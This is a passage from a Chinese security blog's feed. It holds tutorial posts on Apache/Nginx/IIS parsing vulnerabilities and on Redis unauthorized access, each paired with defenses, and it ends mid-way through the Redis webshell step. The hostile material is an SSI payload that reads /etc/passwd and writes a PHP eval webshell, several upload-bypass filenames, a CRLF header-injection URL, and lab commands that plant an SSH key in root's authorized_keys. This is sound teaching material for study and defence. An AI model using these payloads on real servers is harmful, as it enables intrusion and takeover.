</span><span>!</span><span> </span><span>-newermt</span><span> </span><span>"2024-01-02"</span><span> </span><span># 指定时间文件</span></div></div><div><div><div>11</div></div><div><span># Windows 快速排查</span></div></div><div><div><div>12</div></div><div><span>lusrmgr.msc</span></div></div><div><div><div>13</div></div><div><span>eventvwr.msc</span></div></div><div><div><div>14</div></div><div><span>netstat</span><span> </span><span>-ano</span></div></div><div><div><div>15</div></div><div><span>tasklist</span><span> | </span><span>findstr</span><span> </span><span>"PID"</span></div></div><div><div><div>16</div></div><div><span>msinfo32</span></div></div><div><div><div>17</div></div><div><span>regedit</span></div></div><div><div><div>18</div></div><div><span>msconfig</span></div></div><div><div><div>19</div></div><div><span>services.msc</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/middleware-parsing-vulnerability/</id>
      <title type="text">中间件解析漏洞</title>
      <published>2026-10-03T15:04:00.000Z</published>
      <updated>2026-10-03T15:04:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/middleware-parsing-vulnerability/"/>
      <summary type="text">Apache、Nginx、IIS 三大中间件解析漏洞的成因、复现过程与利用条件。</summary>
      <content type="html"><![CDATA[<section><h2>一、中间件概述<a href="#一中间件概述"><span>#</span></a></h2><section><h3>1.1 什么是中间件？<a href="#11-什么是中间件"><span>#</span></a></h3><p>中间件是<strong>不同服务之间的产品</strong>，在安全领域泛指服务器软件、消息队列、非关系型数据库等。</p>

<table><thead><tr><th>分类</th><th>典型产品</th></tr></thead><tbody><tr><td><strong>服务器软件</strong></td><td>Apache、Nginx、IIS、WebLogic、JBoss、Tomcat</td></tr><tr><td><strong>消息队列</strong></td><td>ActiveMQ、RabbitMQ、RocketMQ</td></tr><tr><td><strong>非关系型数据库</strong></td><td>Redis、MongoDB、Memcached</td></tr></tbody></table></section><section><h3>1.2 PHP 程序的特殊性<a href="#12-php-程序的特殊性"><span>#</span></a></h3><p>PHP 具有<strong>边运行、边解释</strong>的特性，可由 Apache / Nginx / IIS 等多种中间件解析。</p><hr /></section></section>
<section><h2>二、Apache 解析漏洞<a href="#二apache-解析漏洞"><span>#</span></a></h2><section><h3>2.1 Apache HTTPD 多后缀解析漏洞<a href="#21-apache-httpd-多后缀解析漏洞"><span>#</span></a></h3><section><h4>漏洞原理<a href="#漏洞原理"><span>#</span></a></h4><ul>
<li>
<p>Apache 支持一个文件有<strong>多个后缀</strong>，如 <code>shell.php.doc</code></p>
</li>
<li>
<p>Apache <strong>从后往前</strong>依次识别后缀：</p>
</li>
<li>
<p>遇到<strong>不认识的</strong>后缀 → 继续往前</p>
</li>
<li>
<p>遇到<strong>认识的</strong>后缀 → 按该后缀解析</p>
</li>
<li>
<p>若<strong>全部不认识</strong> → 当成默认类型（text/plain）</p>
</li>
</ul><p><strong>Apache 可识别的后缀</strong>存储在 <code>/etc/mime.types</code></p><p><strong>关键配置：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>AddHandler application/x-httpd-php .php</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>只要文件名中<strong>存在</strong> <code>.php</code>，就会被当作 PHP 解析。</p></section><section><h4>利用方式<a href="#利用方式"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 上传 shell.php.png（白名单允许 .png）</span></div></div><div><div><div>2</div></div><div><span>2. Apache 识别到 .php → 作为 PHP 解析</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>前提条件<a href="#前提条件"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. Apache 以模块形式运行（非 CGI/FastCGI）</span></div></div><div><div><div>2</div></div><div><span>2. 配置中存在 AddHandler application/x-httpd-php .php</span></div></div><div><div><div>3</div></div><div><span>3. 未修改文件名</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞防御<a href="#漏洞防御"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 修改文件名（随机重命名）</span></div></div><div><div><div>2</div></div><div><span>2. 取消 AddHandler 配置中的多后缀支持</span></div></div><div><div><div>3</div></div><div><span>3. 使用白名单限制上传类型</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section><section><h3>2.2 Apache HTTPD 换行解析漏洞（CVE-2017-15715）<a href="#22-apache-httpd-换行解析漏洞cve-2017-15715"><span>#</span></a></h3><section><h4>漏洞信息<a href="#漏洞信息"><span>#</span></a></h4>

<table><thead><tr><th>属性</th><th>值</th></tr></thead><tbody><tr><td>漏洞编号</td><td>CVE-2017-15715</td></tr><tr><td>影响版本</td><td>Apache 2.4.0 ~ 2.4.29</td></tr><tr><td>利用方式</td><td>在文件名后添加 <code>\x0A</code>（换行符）</td></tr></tbody></table></section><section><h4>漏洞原理<a href="#漏洞原理-1"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>shell.php\x0A  → Apache 解析为 PHP 文件</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li><code>shell.php%0a</code> 绕过黑名单校验</li>
<li>服务器保存文件名为 <code>shell.php</code>（换行符被忽略）</li>
<li>访问 <code>/shell.php%0a</code> 即可执行</li>
</ul></section><section><h4>利用步骤<a href="#利用步骤"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>1.</span><span> </span><span>上传</span><span> </span><span>shell.php（黑名单拦截）</span></div></div><div><div><div>2</div></div><div><span>2.</span><span> </span><span>改名为</span><span> </span><span>shell.php%0a（抓包修改，在</span><span> </span><span>.php</span><span> </span><span>后插入</span><span> </span><span>0A）</span></div></div><div><div><div>3</div></div><div><span>3.</span><span> </span><span>上传成功</span></div></div><div><div><div>4</div></div><div><span>4.</span><span> </span><span>访问</span><span> </span><span>/shell.php%0a</span><span> </span><span>→</span><span> </span><span>PHP</span><span> </span><span>代码执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⚠️ 注意是 <code>\x0A</code> 而不是 <code>\x0D\x0A</code></p></section><section><h4>漏洞防御<a href="#漏洞防御-1"><span>#</span></a></h4><ul>
<li>升级 Apache 到最新版本</li>
<li>使用白名单而非黑名单</li>
</ul><hr /></section></section><section><h3>2.3 Apache SSI 远程命令执行漏洞<a href="#23-apache-ssi-远程命令执行漏洞"><span>#</span></a></h3><section><h4>漏洞原理<a href="#漏洞原理-2"><span>#</span></a></h4><p><strong>SSI</strong>（Server Side Includes，服务器端包含）允许在 HTML 文件中通过<strong>注释行调用命令或指针</strong>。</p><p><strong>SSI 命令格式：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!--#exec cmd="命令" --&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>适用文件类型：</strong> <code>.shtml</code>、<code>.shtm</code>、<code>.stm</code></p></section><section><h4>利用方式<a href="#利用方式-1"><span>#</span></a></h4><p><strong>1. 读取文件：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!--#exec cmd="cat /etc/passwd" --&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>2. 写入 Webshell：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>&lt;!--#exec cmd="echo '&lt;?php eval($_REQUEST[6]);?&gt;' &gt; /var/www/html/shell.php" --&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞条件<a href="#漏洞条件"><span>#</span></a></h4><ul>
<li>服务器开启了 <strong>SSI 与 CGI 支持</strong></li>
<li>可上传 <code>.shtml</code> 文件</li>
</ul></section><section><h4>漏洞防御<a href="#漏洞防御-2"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 关闭 SSI 功能</span></div></div><div><div><div>2</div></div><div><span>2. 过滤 SSI 特殊字符（&lt;, &gt;, #, -, "）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section></section>
<section><h2>三、Nginx 解析漏洞<a href="#三nginx-解析漏洞"><span>#</span></a></h2><section><h3>3.1 Nginx 解析漏洞（全版本）<a href="#31-nginx-解析漏洞全版本"><span>#</span></a></h3><section><h4>漏洞原理<a href="#漏洞原理-3"><span>#</span></a></h4><p>Nginx 拿到 URI <code>/test.jpg/shell.php</code>，识别 <code>.php</code> 后缀后转交给 PHP 处理；PHP 发现 <code>/test.jpg/shell.php</code> 不存在，<strong>删去最后的</strong> <code>/shell.php</code>，将 <code>/test.jpg</code> 当作要执行的文件。</p><p><strong>关键配置：</strong></p><div><figure><figcaption><span>php.ini</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cgi.fix_pathinfo</span><span><span> </span><span>=</span><span> 1</span></span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># php-fpm.conf</span></div></div><div><div><div>4</div></div><div><span>security.limit_extensions</span><span><span> </span><span>=</span><span> .php .jpg</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>

<table><thead><tr><th>配置项</th><th>说明</th></tr></thead><tbody><tr><td><code>cgi.fix_pathinfo=1</code></td><td>路径不存在时，依次删除最后一段尝试</td></tr><tr><td><code>security.limit_extensions</code></td><td>允许 PHP 执行的后缀（含 <code>.jpg</code> 等非 PHP 后缀）</td></tr></tbody></table></section><section><h4>利用方式<a href="#利用方式-2"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 上传图片马 shell.jpg</span></div></div><div><div><div>2</div></div><div><span>2. 访问 /shell.jpg/shell.php</span></div></div><div><div><div>3</div></div><div><span>3. PHP 处理时退回 shell.jpg → 执行其中的 PHP 代码</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞防御<a href="#漏洞防御-3"><span>#</span></a></h4><div><figure><figcaption><span>php.ini</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cgi.fix_pathinfo</span><span><span> </span><span>=</span><span> 0</span></span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span># php-fpm.conf</span></div></div><div><div><div>4</div></div><div><span>security.limit_extensions</span><span><span> </span><span>=</span><span> .php</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section><section><h3>3.2 Nginx 文件名逻辑漏洞（CVE-2013-4547）<a href="#32-nginx-文件名逻辑漏洞cve-2013-4547"><span>#</span></a></h3><section><h4>漏洞信息<a href="#漏洞信息-1"><span>#</span></a></h4>

<table><thead><tr><th>属性</th><th>值</th></tr></thead><tbody><tr><td>漏洞编号</td><td>CVE-2013-4547</td></tr><tr><td>影响版本</td><td>Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7</td></tr></tbody></table></section><section><h4>漏洞原理<a href="#漏洞原理-4"><span>#</span></a></h4><ul>
<li>
<p>Nginx 解析 URI 时，遇到<strong>空格</strong> <code>[0x20]</code> 会特殊处理，<strong>跳过后续的 NULL 截断检测</strong></p>
</li>
<li>
<p>访问 <code>shell.gif[0x20][0x00].php</code> 时：</p>
</li>
<li>
<p>文件名以 <code>.php</code> 结尾 → 交给 FastCGI</p>
</li>
<li>
<p>FastCGI 遇到 <code>[0x00]</code> → 截断 → 读取 <code>shell.gif[0x20]</code></p>
</li>
<li>
<p>文件被当作 PHP 执行</p>
</li>
</ul></section><section><h4>利用步骤<a href="#利用步骤-1"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 上传 shell.gif（文件名后加空格 [0x20]）</span></div></div><div><div><div>2</div></div><div><span>2. 访问 /uploadfiles/shell.gif[0x20][0x00].php</span></div></div><div><div><div>3</div></div><div><span>3. 抓包，将两个字符分别改为 20 和 00</span></div></div><div><div><div>4</div></div><div><span>4. 发送请求 → 图片马被解析为 PHP</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⚠️ <code>[0x20]</code> 是空格，<code>[0x00]</code> 是 NULL，<strong>均不需要 URL 编码</strong>。</p></section><section><h4>漏洞原因<a href="#漏洞原因"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Nginx 检测到空格 → 跳转到 sw_check_uri 继续处理</span></div></div><div><div><div>2</div></div><div><span>→ 零截断符被跳过 → 逻辑漏洞</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞防御<a href="#漏洞防御-4"><span>#</span></a></h4><ul>
<li>升级 Nginx 版本</li>
<li>修改配置，避免 <code>security.limit_extensions</code> 为空</li>
</ul><hr /></section></section><section><h3>3.3 Nginx 配置错误漏洞<a href="#33-nginx-配置错误漏洞"><span>#</span></a></h3><section><h4>漏洞1：CRLF 注入<a href="#漏洞1crlf-注入"><span>#</span></a></h4><p><strong>原理：</strong> Nginx 会对 <code>$uri</code> 进行解码，<code>%0a%0d</code> 被解析为换行符，注入 HTTP 响应头。</p><p><strong>利用：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://target.com/%0d%0aSet-Cookie:evil=1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>响应头中插入 <code>Set-Cookie</code>，可能导致会话固定或 XSS。</p><p><strong>错误配置示例：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>location</span><span> / {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>return</span><span> </span><span>302</span><span> https://$</span><span>host</span><span>$</span><span>uri</span><span>;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞2：目录穿越<a href="#漏洞2目录穿越"><span>#</span></a></h4><p><strong>原理：</strong> 配置 alias 时忘记加 <code>/</code>，导致目录穿越。</p><p><strong>错误配置：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>location</span><span> /files {</span></div></div><div><div><div>2</div></div><div><span>   <span> </span></span><span>alias </span><span>/home/;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>利用：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>http://target.com/files../ → 访问根目录</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>正确配置：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>location</span><span> /files/ {</span></div></div><div><div><div>2</div></div><div><span>   <span> </span></span><span>alias </span><span>/home/;</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞3：add_header 被覆盖<a href="#漏洞3add_header-被覆盖"><span>#</span></a></h4><p><strong>原理：</strong> 子块中的 <code>add_header</code> 会<strong>覆盖</strong>父块中的设置。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>add_header </span><span>X-Frame-Options </span><span>"SAMEORIGIN"</span><span>;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>location</span><span> /test2/ {</span></div></div><div><div><div>4</div></div><div><span>   <span> </span></span><span>add_header </span><span>X-Content-Type-Options </span><span>"nosniff"</span><span>;  </span><span># 覆盖父块</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>→ <code>/test2/</code> 下失去 <code>X-Frame-Options</code> 保护</p></section><section><h4>漏洞防御<a href="#漏洞防御-5"><span>#</span></a></h4><ul>
<li>仔细检查 Nginx 配置文件</li>
<li>避免 <code>$uri</code> 直接用于跳转</li>
<li>alias 配置末尾加 <code>/</code></li>
<li>子块中不覆盖全局安全头</li>
</ul><hr /></section></section></section>
<section><h2>四、IIS 解析漏洞<a href="#四iis-解析漏洞"><span>#</span></a></h2><section><h3>4.1 IIS 7.5 解析漏洞<a href="#41-iis-75-解析漏洞"><span>#</span></a></h3><section><h4>漏洞信息<a href="#漏洞信息-2"><span>#</span></a></h4>

<table><thead><tr><th>属性</th><th>值</th></tr></thead><tbody><tr><td>版本</td><td>IIS 7.0 / 7.5</td></tr><tr><td>运行模式</td><td>Fast-CGI</td></tr><tr><td>原理</td><td><code>/shell.jpg/1.php</code> 被解析为 PHP</td></tr></tbody></table></section><section><h4>前提条件<a href="#前提条件-1"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. php.ini 中 cgi.fix_pathinfo = 1</span></div></div><div><div><div>2</div></div><div><span>2. Handler Mapping 中未勾选特定选项（取消对路径的检查）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>利用方式<a href="#利用方式-3"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 上传图片马 shell.jpg</span></div></div><div><div><div>2</div></div><div><span>2. 访问 /shell.jpg/1.php</span></div></div><div><div><div>3</div></div><div><span>3. 文件被当作 PHP 解析</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞防御<a href="#漏洞防御-6"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. php.ini: cgi.fix_pathinfo = 0</span></div></div><div><div><div>2</div></div><div><span>2. Handler Mapping 中勾选相应限制</span></div></div><div><div><div>3</div></div><div><span>3. 升级到 IIS 7.5+</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section><section><h3>4.2 IIS 6.0 解析漏洞<a href="#42-iis-60-解析漏洞"><span>#</span></a></h3><section><h4>漏洞1：目录解析漏洞<a href="#漏洞1目录解析漏洞"><span>#</span></a></h4><p><strong>原理：</strong> 文件夹名以 <code>.asp</code> 结尾，其内部所有文件都被解析为 ASP。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>/a.asp/</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>├── 1.txt      → 被解析为 ASP 执行</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>└── image.jpg  → 被解析为 ASP 执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞2：文件名解析漏洞<a href="#漏洞2文件名解析漏洞"><span>#</span></a></h4><p><strong>原理：</strong> 分号 <code>;</code> 后的内容被忽略。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>shell.asp;.jpg  → 视为 .asp 文件执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>利用方式：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>上传 shell.asp;.jpg → IIS 解析为 ASP 执行</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>漏洞防御<a href="#漏洞防御-7"><span>#</span></a></h4><ul>
<li>升级到 IIS 7.0+</li>
<li>限制上传文件类型</li>
<li>使用白名单机制</li>
</ul><hr /></section></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>Apache 漏洞<a href="#apache-漏洞"><span>#</span></a></h3>

<table><thead><tr><th>漏洞</th><th>利用方式</th></tr></thead><tbody><tr><td>多后缀解析</td><td><code>shell.php.png</code> 作为 PHP 执行</td></tr><tr><td>换行解析 (CVE-2017-15715)</td><td><code>shell.php%0a</code> 绕过黑名单</td></tr><tr><td>SSI RCE</td><td>上传 <code>.shtml</code>，<code>&lt;!--#exec cmd="id"--&gt;</code></td></tr></tbody></table></section><section><h3>Nginx 漏洞<a href="#nginx-漏洞"><span>#</span></a></h3>

<table><thead><tr><th>漏洞</th><th>利用方式</th></tr></thead><tbody><tr><td>解析漏洞</td><td><code>shell.jpg/shell.php</code> → 执行 shell.jpg 中的 PHP</td></tr><tr><td>CVE-2013-4547</td><td><code>shell.gif[空格][NULL].php</code> 绕过</td></tr><tr><td>配置错误</td><td>CRLF 注入、目录穿越、add_header 覆盖</td></tr></tbody></table></section><section><h3>IIS 漏洞<a href="#iis-漏洞"><span>#</span></a></h3>

<table><thead><tr><th>漏洞</th><th>利用方式</th></tr></thead><tbody><tr><td>IIS 7.5</td><td><code>shell.jpg/1.php</code> → 执行 shell.jpg 中的 PHP</td></tr><tr><td>IIS 6.0 目录解析</td><td><code>/a.asp/1.txt</code> → 执行 1.txt 为 ASP</td></tr><tr><td>IIS 6.0 文件名解析</td><td><code>shell.asp;.jpg</code> → 执行 shell.asp</td></tr></tbody></table></section><section><h3>防御通用原则<a href="#防御通用原则"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 升级中间件版本</span></div></div><div><div><div>2</div></div><div><span>2. 避免用户控制文件名</span></div></div><div><div><div>3</div></div><div><span>3. 使用白名单校验扩展名</span></div></div><div><div><div>4</div></div><div><span>4. 配置文件上传目录执行权限</span></div></div><div><div><div>5</div></div><div><span>5. 禁用不必要的功能（SSI、CGI 等）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/redis-unauthorized-access/</id>
      <title type="text">Redis 未授权访问</title>
      <published>2026-09-29T15:03:00.000Z</published>
      <updated>2026-09-29T15:03:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/redis-unauthorized-access/"/>
      <summary type="text">Redis 未授权访问的成因、写 crontab 与 SSH 公钥 getshell 的复现过程及加固建议。</summary>
      <content type="html"><![CDATA[<section><h2>一、漏洞概述<a href="#一漏洞概述"><span>#</span></a></h2><section><h3>1.1 原理<a href="#11-原理"><span>#</span></a></h3><p>Redis 低版本默认情况下会开放 <strong>6379 端口</strong>，允许任意用户<strong>未授权</strong>发送 Redis 指令，无需身份认证即可访问和操作 Redis 数据库。</p></section><section><h3>1.2 必要条件<a href="#12-必要条件"><span>#</span></a></h3>

<table><thead><tr><th>条件</th><th>说明</th></tr></thead><tbody><tr><td>Redis 版本</td><td><strong>v5.0.5 以下</strong>（默认无密码认证）</td></tr><tr><td>端口开放</td><td>6379 端口对攻击者可达</td></tr><tr><td>权限</td><td>以 <strong>root</strong> 或高权限运行（危害更大）</td></tr></tbody></table></section><section><h3>1.3 漏洞危害<a href="#13-漏洞危害"><span>#</span></a></h3>

<table><thead><tr><th>危害</th><th>说明</th></tr></thead><tbody><tr><td><strong>信息泄露</strong></td><td>未授权访问内部数据</td></tr><tr><td><strong>数据破坏</strong></td><td>执行 <code>FLUSHALL</code> 清空所有数据</td></tr><tr><td><strong>写入后门</strong></td><td>通过数据备份功能写入 Webshell、SSH 公钥</td></tr><tr><td><strong>命令执行</strong></td><td>通过 <code>EVAL</code> 执行 Lua 代码</td></tr><tr><td><strong>服务器控制</strong></td><td>以 root 身份运行时可完全控制服务器</td></tr></tbody></table><hr /></section></section>
<section><h2>二、Redis 搭建（Docker）<a href="#二redis-搭建docker"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 安装 Docker</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>update</span></div></div><div><div><div>3</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>install</span><span> </span><span>docker.io</span><span> </span><span>-y</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 拉取并运行 Redis 5.0.5 容器</span></div></div><div><div><div>6</div></div><div><span>sudo</span><span> </span><span>docker</span><span> </span><span>run</span><span> </span><span>-d</span><span> </span><span>-p</span><span> </span><span>6379:6379</span><span> </span><span>--name</span><span> </span><span>redis</span><span> </span><span>redis:5.0.5</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section>
<section><h2>三、漏洞利用<a href="#三漏洞利用"><span>#</span></a></h2><section><h3>3.1 环境拓扑<a href="#31-环境拓扑"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>┌─────────────┐     ┌──────────────────┐</span></div></div><div><div><div>2</div></div><div><span>│   Kali      │────▶│  Ubuntu + Docker  │</span></div></div><div><div><div>3</div></div><div><span>│  (攻击机)   │     │   Redis:5.0.5     │</span></div></div><div><div><div>4</div></div><div><span>└─────────────┘     └──────────────────┘</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.2 利用方式一：写入 SSH 公钥（免密登录）<a href="#32-利用方式一写入-ssh-公钥免密登录"><span>#</span></a></h3><p><strong>原理：</strong> 将 SSH 公钥写入 Redis，通过修改备份路径和文件名，将公钥保存到 <code>~/.ssh/authorized_keys</code>。</p><section><h4>Step 1：生成 SSH 密钥对<a href="#step-1生成-ssh-密钥对"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 在 Kali 上生成 SSH 密钥对（密码设为空）</span></div></div><div><div><div>2</div></div><div><span>ssh-keygen</span></div></div><div><div><div>3</div></div><div><span># 一直回车即可</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 2：准备公钥文件<a href="#step-2准备公钥文件"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 处理公钥格式（添加换行，否则 Redis 不接受）</span></div></div><div><div><div>2</div></div><div><span>(</span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n\n"</span><span>; </span><span>cat</span><span> </span><span>~/.ssh/id_rsa.pub</span><span>; </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n\n"</span><span>) &gt; </span><span>1.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 3：写入 Redis<a href="#step-3写入-redis"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 将公钥写入 Redis（key 名为 crack）</span></div></div><div><div><div>2</div></div><div><span>cat</span><span> </span><span>1.txt</span><span> | </span><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>192.168.61.103</span><span> </span><span>-x</span><span> </span><span>set</span><span> </span><span>crack</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 4：查看并修改备份路径<a href="#step-4查看并修改备份路径"><span>#</span></a></h4><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 连接 Redis</span></div></div><div><div><div>2</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>192.168.61.103</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 查看当前备份路径</span></div></div><div><div><div>5</div></div><div><span>192.168.61.103:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>GET</span><span> </span><span>dir</span></div></div><div><div><div>6</div></div><div><span>1</span><span>) </span><span>"dir"</span></div></div><div><div><div>7</div></div><div><span>2</span><span>) </span><span>"/root"</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span># 修改备份路径为 .ssh 目录</span></div></div><div><div><div>10</div></div><div><span>192.168.61.103:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dir</span><span> </span><span>/root/.ssh</span></div></div><div><div><div>11</div></div><div><span>OK</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># 设置备份文件名为 authorized_keys</span></div></div><div><div><div>14</div></div><div><span>192.168.61.103:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dbfilename</span><span> </span><span>authorized_keys</span></div></div><div><div><div>15</div></div><div><span>OK</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span># 保存</span></div></div><div><div><div>18</div></div><div><span>192.168.61.103:6379</span><span>&gt; </span><span>SAVE</span></div></div><div><div><div>19</div></div><div><span>OK</span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span># 退出</span></div></div><div><div><div>22</div></div><div><span>192.168.61.103:6379</span><span>&gt; </span><span>exit</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>Step 5：免密登录<a href="#step-5免密登录"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 使用私钥登录目标服务器</span></div></div><div><div><div>2</div></div><div><span>ssh</span><span> </span><span>-i</span><span> </span><span>~/.ssh/id_rsa</span><span> </span><span>root@192.168.61.103</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section><section><h3>3.3 利用方式二：写入 Webshell<a href="#33-利用方式二写入-webshell"><span>#</span></a></h3><p><strong>原理：</strong> 将 PHP 一句话木马写入 Redis，通过修改备份路径到 Web 目录，生成 Webshell 文件。</p><section><h4>Step 1：连接 Redis<a href="#step-1连接-redis"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>redis-cli</span><span> </span><span>-h</span><span> </span><span>192.168.68.132</span><span> </span><span>-p</span><span> </span><span>6379</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>Step 2：修改备份路径到 Web 目录<a href="#step-2修改备份路径到-web-目录"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 修改备份路径为 Web 根目录</span></div></div><div><div><div>2</div></div><div><span>192.168.68.132:6379</span><span>&gt; </span><span>CONFIG</span><span> </span><span>SET</span><span> </span><span>dir</span><span> 